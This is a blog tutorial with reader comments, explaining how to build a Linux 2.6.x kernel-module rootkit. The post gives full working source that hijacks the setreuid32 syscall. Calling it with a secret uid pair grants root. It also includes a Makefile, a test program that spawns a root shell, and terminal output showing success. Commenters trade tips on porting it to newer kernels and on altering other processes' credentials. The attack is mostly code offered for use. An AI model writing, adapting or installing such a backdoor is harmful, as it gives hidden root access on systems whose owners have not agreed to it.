Home > C/C++, GNU/Linux, Programming, Security > Syscall Hijacking: Simple Rootkit (kernel 2.6.x)

Syscall Hijacking: Simple Rootkit (kernel 2.6.x)

Hi. In this post I’ll show you how to change the process credentials through kernel modules. In a such way you can make your own rootkit(s): i.e. when you performs a pre-established action, the module will give you a root access.
First of all we need to know where these credentials are kept: in the kernel versions < 2.6.29 we find all this informations in the “task_struct” structure. This structure is defined in “linux/sched.h”:

struct task_struct {
	volatile long state;	/* -1 unrunnable, 0 runnable, >0 stopped */
	void *stack;
	atomic_t usage;
	unsigned int flags;	/* per process flags, defined below */
	unsigned int ptrace;
	...
	struct list_head children;	/* list of my children */
	struct list_head sibling;	/* linkage in my parent's children list */
	struct task_struct *group_leader;	/* threadgroup leader */
	...
	/* process credentials */
	uid_t uid,euid,suid,fsuid;
	gid_t gid,egid,sgid,fsgid;
	struct group_info *group_info;
	...
};

In this structure are maintained all the task informations: some of these are the process credentials like the UID, EUID, ecc…
So if we’ll modify this field we can also modify the process credentials. We can set this field to 0 (root) as follows:

current->uid = current->gid = 0;
current->euid = current->egid = 0;
current->suid = current->sgid = 0;
current->fsuid = current->fsgid = 0;

Where “current” is macro for the task struct of the current process.
Previously I have specified “in the kernel versions < 2.6.29”, now you might ask: but the newer ones?
Since from the kernel versions >= 2.6.29 the “task_struct” was changed: this happens because was changed the logic of how access to the process credentials.
I suggest to read this paper (very very short paper) that explain detailed the new way to access/change the process credentials.
Now we have a new structure in the “task_struct”:

struct task_struct {
	...
	const struct cred *cred;	/* effective (overridable) subjective task
					 * credentials (COW) */
	...
};

The new structure “cred” is defined in “linux/cred.h”:

struct cred {
	...
	uid_t		uid;		/* real UID of the task */
	gid_t		gid;		/* real GID of the task */
	uid_t		suid;		/* saved UID of the task */
	gid_t		sgid;		/* saved GID of the task */
	uid_t		euid;		/* effective UID of the task */
	gid_t		egid;		/* effective GID of the task */
	uid_t		fsuid;		/* UID for VFS ops */
	gid_t		fsgid;		/* GID for VFS ops */
	...

In this struct we can find all the process credentials: we can modify them in this way:


struct cred *new;

new = prepare_creds();

if ( new != NULL ) {

	new->uid = new->gid = 0;
	new->euid = new->egid = 0;
	new->suid = new->sgid = 0;
	new->fsuid = new->fsgid = 0;

	commit_creds(new);
}

Now I’ll explain the used functions through the paper.
The “prepare_creds()”:

To alter the current process's credentials, a function should first prepare a
new set of credentials by calling:

struct cred *prepare_creds(void);

this locks current->cred_replace_mutex and then allocates and constructs a
duplicate of the current process's credentials, returning with the mutex still
held if successful.  It returns NULL if not successful (out of memory).

The “commit_creds()”:

When the credential set is ready, it should be committed to the current process
by calling:

int commit_creds(struct cred *new);

This will alter various aspects of the credentials and the process, giving the
LSM a chance to do likewise, then it will use rcu_assign_pointer() to actually
commit the new credentials to current->cred, it will release
current->cred_replace_mutex to allow ptrace() to take place, and it will notify
the scheduler and others of the changes.

This function is guaranteed to return 0, so that it can be tail-called at the
end of such functions as sys_setresuid().

We have now enough informations to create our first rootkit. Our rootkit will give us root credentials when we invoke a new shell with RUID == 3410 && EUID == 0143. We only need to hijack the “__NR_setreuid32” syscall and check for the ruid and euid.
I have shown two ways to change the process credentials: we can unify them in a single kernel module simply checking for the kernel version using this macro:

#if LINUX_VERSION_CODE < KERNEL_VERSION(2, 6, 29)

	...

#else

	...

#endif

Now we can write the rootkit “rootkit.c”:

#include <linux/init.h>
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/errno.h>
#include <linux/version.h>
#include <linux/types.h>
#include <linux/unistd.h>
#include <asm/cacheflush.h>
#include <asm/page.h>
#include <linux/sched.h>
#include <linux/kallsyms.h>

unsigned long *syscall_table = (unsigned long *)0xc05d3180;

asmlinkage int (* orig_setreuid) (uid_t ruid, uid_t euid);

asmlinkage int new_setreuid (uid_t ruid, uid_t euid) {

	struct cred *new;

	 if ((ruid == 3410) && (euid == 0143))	 {

		 printk(KERN_ALERT "[Correct] \n");

		#if LINUX_VERSION_CODE < KERNEL_VERSION(2, 6, 29) 		 		       	current->uid = current -> gid = 0;
		 	current -> euid = current -> egid = 0;
		 	current -> suid = current -> sgid = 0;
		 	current -> fsuid = current -> fsgid = 0;

		#else

  			new = prepare_creds();

  			if ( new != NULL ) {

	  			new->uid = new->gid = 0;
				new->euid = new->egid = 0;
				new->suid = new->sgid = 0;
				new->fsuid = new->fsgid = 0;

				commit_creds(new);
			}
		#endif

		 return orig_setreuid (0, 0);
	 }

	 return orig_setreuid (ruid, euid);
}

static int init(void) {

	printk(KERN_ALERT "\nHIJACK INIT\n");

	write_cr0 (read_cr0 () & (~ 0x10000));

	orig_setreuid = syscall_table [__NR_setreuid32];
	syscall_table [__NR_setreuid32] = new_setreuid;

	write_cr0 (read_cr0 () | 0x10000);

	return 0;
}

static void exit(void) {

	write_cr0 (read_cr0 () & (~ 0x10000));

	syscall_table[__NR_setreuid32] = orig_setreuid;

	write_cr0 (read_cr0 () | 0x10000);

	printk(KERN_ALERT "MODULE EXIT\n");

	return;
}

module_init(init);
module_exit(exit);

I suggest to read my previous post to better understand this code.
The Makefile:

obj-m	:= rootkit.o

KDIR    := /lib/modules/$(shell uname -r)/build
PWD    := $(shell pwd)

default:
	$(MAKE) -C $(KDIR) SUBDIRS=$(PWD) modules

A simple script to test it (“test.c”):

#include

int main () {

        setreuid (3410, 0143);
        system ("/bin/sh");

        return 0;
}

Now I compile the kernel module:

spaccio@spaccio-laptop:~/Hacking/Syscall_Hijack/mod$ make
make -C /lib/modules/2.6.35-24-generic/build SUBDIRS=/home/spaccio/Hacking/Syscall_Hijack/mod modules
make[1]: ingresso nella directory "/usr/src/linux-headers-2.6.35-24-generic"
  CC [M]  /home/spaccio/Hacking/Syscall_Hijack/mod/rootkit.o
/home/spaccio/Hacking/Syscall_Hijack/mod/rootkit.c: In function ‘init’:
/home/spaccio/Hacking/Syscall_Hijack/mod/rootkit.c:63: warning: assignment makes pointer from integer without a cast
/home/spaccio/Hacking/Syscall_Hijack/mod/rootkit.c:64: warning: assignment makes integer from pointer without a cast
/home/spaccio/Hacking/Syscall_Hijack/mod/rootkit.c: In function ‘exit’:
/home/spaccio/Hacking/Syscall_Hijack/mod/rootkit.c:75: warning: assignment makes integer from pointer without a cast
  Building modules, stage 2.
  MODPOST 1 modules
  CC      /home/spaccio/Hacking/Syscall_Hijack/mod/rootkit.mod.o
  LD [M]  /home/spaccio/Hacking/Syscall_Hijack/mod/rootkit.ko
make[1]: uscita dalla directory "/usr/src/linux-headers-2.6.35-24-generic"
spaccio@spaccio-laptop:~/Hacking/Syscall_Hijack/mod$

I compile the script:

spaccio@spaccio-laptop:~/Hacking/Syscall_Hijack/mod$ gcc test.c -o test

And finally test all:

spaccio@spaccio-laptop:~/Hacking/Syscall_Hijack/mod$ sudo insmod rootkit.ko
spaccio@spaccio-laptop:~/Hacking/Syscall_Hijack/mod$ ./test
# whoami
root
# exit
spaccio@spaccio-laptop:~/Hacking/Syscall_Hijack/mod

Enjoy this: for any questions use comments.
Bye.

  1. January 18, 2011 at 00:46

    Thanks for sharing this information with me. The article was extremely informative and I look forward to reading more soon.

    Thanks again. Laptop Reviews

  2. Killswitch
    January 29, 2011 at 00:28

    Hello,

    thank you for this really nice article. I was searching a long time for method of doing this stuff under the amd64 architecture. Unfortunately i didn’t found anything. page_rw or write_cr0 seems unusable under 64Bit architectures. Do you know anything about this topic?

    • February 7, 2011 at 21:51

      I don’t know anything about 64bit architecture because I’ve a 32bit one. Maybe in the future I’ll study about this.
      Bye.

  3. Chandima
    March 31, 2011 at 10:35

    I used variables in the “current” struct task_struct like euid, gid. But all of them are equal to zero. Theoretically they should contain values.
    What am I missing here?
    Do I need to do any initializations for this “current”?

    Thanks in advance.

    • March 31, 2011 at 11:08

      The “current” variables indicate the uid,gid,etc. of the user that it’s calling the system call that we are intercepting (in our case). If the “current” variables are zero then you are already root: this means that you are running the process that calls that syscall (setreuid() in our example) with root previleges (uid = gid = etc = 0).
      In our example we are not root and we want to set our ruid and euid to 3410 and 0143 (in order to become root): when the process calls the “__NR_setreuid32” syscall, we intercept it and we assign the root previleges to the process.
      You don’t need any initializations for the “current” structure: it’s filled by the kernel, according on what I wrote above.
      Have you understand?

      Bye.

      • Chandima
        April 1, 2011 at 06:16

        Thanks styx^ . It was really helpful.

        I have a another question.

        When I open the same device file using multiple threads of a single process, I receive little different current->pid values in the device driver open function.
        PIDs like 27565, 27567, 27569(process with 3 threads).
        But in the driver release function, I receive same PIDs like 27565 for all the threads.

        What can be the reason for this kind of scenario?

        Thanks in advance.

      • April 1, 2011 at 10:20

        Each thread has an own id: the thread id. You can obtain the id of the current thread with this function:

        pthread_t pthread_self(void);

        This id is different from the process one.
        I don’t have really understand your question but:

        1 – If you have a single process with 3 threads, you may have 1 p_id and 3 t_id;
        2 – If you have a single process that forks itself in 3 new processes, you may have 4 p_id (1 for the first and 3 for the 3 new processes);

        Now: what you mean when you say “But in the driver release function, I receive same PIDs like 27565 for all the threads.”. Can you be more specific? Are you talking about kernel module (so the release function is a module_exit()) or a simple program in user space?
        Bye.

  4. Chandima
    April 4, 2011 at 07:46

    styx^ :
    Each thread has an own id: the thread id. You can obtain the id of the current thread with this function:
    pthread_t pthread_self(void);
    This id is different from the process one.
    I don’t have really understand your question but:
    1 – If you have a single process with 3 threads, you may have 1 p_id and 3 t_id;
    2 – If you have a single process that forks itself in 3 new processes, you may have 4 p_id (1 for the first and 3 for the 3 new processes);
    Now: what you mean when you say “But in the driver release function, I receive same PIDs like 27565 for all the threads.”. Can you be more specific? Are you talking about kernel module (so the release function is a module_exit()) or a simple program in user space?
    Bye.

    styx^,

    Sorry for not specifying you the correct information. I am taking about a character driver module which can be accessed by a device file. The application is a single process with multiple threads.
    When I open the device file with the main thread which the application is running, driver module open function gives me current->pid like 22746. But when I open the same device file with one of thread s created, driver open function gives me pid like 22746 + 2 value. But when I close the device file in the application, the driver release function gives me a pid from current->pid like 22746 for all the threads including main thread of the application.

    Do you know the reason for this kind of scenario?

    Thanks.

    • April 5, 2011 at 11:26

      No, I’m sorry.

  5. akhil
    April 20, 2011 at 04:01

    where to put this rootkit.c and make file

  6. bigpava@go1net.com
    June 8, 2011 at 05:15

    Hello… intresting article… i try it on my distro ubuntu but i have this error…

    $ make
    make -C /lib/modules/2.6.35-22-generic/build SUBDIRS=/home/pava modules
    make[1]: ingresso nella directory “/usr/src/linux-headers-2.6.35-22-generic”
    CC [M] /home/pava/rootkit.o
    /home/pava/rootkit.c: In function ânew_setreuidâ:
    /home/pava/rootkit.c:25: error: missing binary operator before token “get_current”
    /home/pava/rootkit.c: In function âinitâ:
    /home/pava/rootkit.c:57: warning: assignment makes pointer from integer without a cast
    /home/pava/rootkit.c:58: warning: assignment makes integer from pointer without a cast
    /home/pava/rootkit.c: In function âexitâ:
    /home/pava/rootkit.c:69: warning: assignment makes integer from pointer without a cast
    make[2]: *** [/home/pava/rootkit.o] Errore 1
    make[1]: *** [_module_/home/pava] Errore 2
    make[1]: uscita dalla directory “/usr/src/linux-headers-2.6.35-22-generic”
    make: *** [default] Errore 2
    $ uname -r
    2.6.35-22-generic

    any solution ?

    • June 8, 2011 at 09:53

      Have you copied the source correctly? You have press the “view source” button in order to see the source code correctly and to copy it.
      Bye.

  7. Ovais
    February 18, 2012 at 10:47

    It ig good,, i made few changes in it and it worked fine.. :)

  8. February 21, 2012 at 13:20

    Hello there… Have some questions about the above example:
    1. the ‘prepare_creds()’ function is used to get (copy in fact) credentials of a CURRENT process (the one that was just initiated – it actually is finding in stack with ‘prepare_creds()’). So how can we alter credentials of the random process? For example if we find some process by pid in kernel module like that:

    #define PID 1234

    struct task_struct *task;
    for_each_process(task) {
    if (task->pid == PID) {

    }
    }

    PS – I also used read_lock(&tasklist_lock) (= 2.6.18) not to make task structures to change while my module s trying to get it`s credentials.

    2. I tried to use some API functions from kernel linux/cred.h to alter my test process credentials (found by pid), but I can`t find out how to save the changes – commit_creds() also save changes of the CURRENT process (substitute cred AND real_cred pointers).

    PS – I used ‘prepare_kernel_cred(task_struct *task)’ function to get ‘struct cred’ of the task

    3. When I tried just to change the pointers (task->real_cred, task->cred – I know its not good cause they`re static:) ) – the example with changing only task->cred works fine (2.6.35) – but in fact process credentials didn`t change (‘ps aux’ looks only for task->real_cred, but in fact process has root privileges and this privileges don`t change back).
    When I changed both pointers – I got ooops, but ONLY when I exited the /bin/sh (in your userspace-example) – before that all looked fine.

    So summarize:
    How to change credentials of the process found by pid or whatever else?

    By the way – syscall hooks works fine – thanx for the article.

    • February 21, 2012 at 13:23

      > PS – I also used read_lock(&tasklist_lock) (= 2.6.18) not to make task structures to change while my module s trying to get it`s credentials.

      read_lock(&tasklist_lock) (=2.6.18)

      • February 21, 2012 at 13:25

        sorry – some bug leaving reply

        read_lock(&tasklist_lock) (less 2.6.18)

        rcu_read_lock() (above 2.6.18)

  9. September 16, 2014 at 03:14

    This no longer works in contemporary kernels (3.13)

    You can’t assign 0 to the various uid and gid fields because they are of type kuid_t and kgid_t, respectively. So now you have to deal with namespaces. Generate a kuid_t with make_kuid(current_user_namespace(), 0) in place of 0.

  10. January 14, 2017 at 08:35

    Today when I use ubuntu 15.10 (kernel version 4.2) to test the codes,I find two issues.Firstly the ‘kmalloc’ and ‘kfree’ functions are not found.So I insert the header file ”。The next issue is that the mumbers of the ‘new’ structure pointer (4 groups uid and gid) can’t be valued.The compiler tell me about “error: incompatible types when assigning to type ‘kgid_t {aka struct }’ from type ‘int’”.So I use the ‘GLOBAL_ROOT_UID’ and ‘GLOBAL_ROOT_GID’ to replace the ‘0’.I know this post is about kernel 2.6.*.But I also want to confirm it can work on other kernel version.Thanks very much!!!

  1. January 20, 2011 at 20:30
  2. November 26, 2011 at 17:23

Leave a comment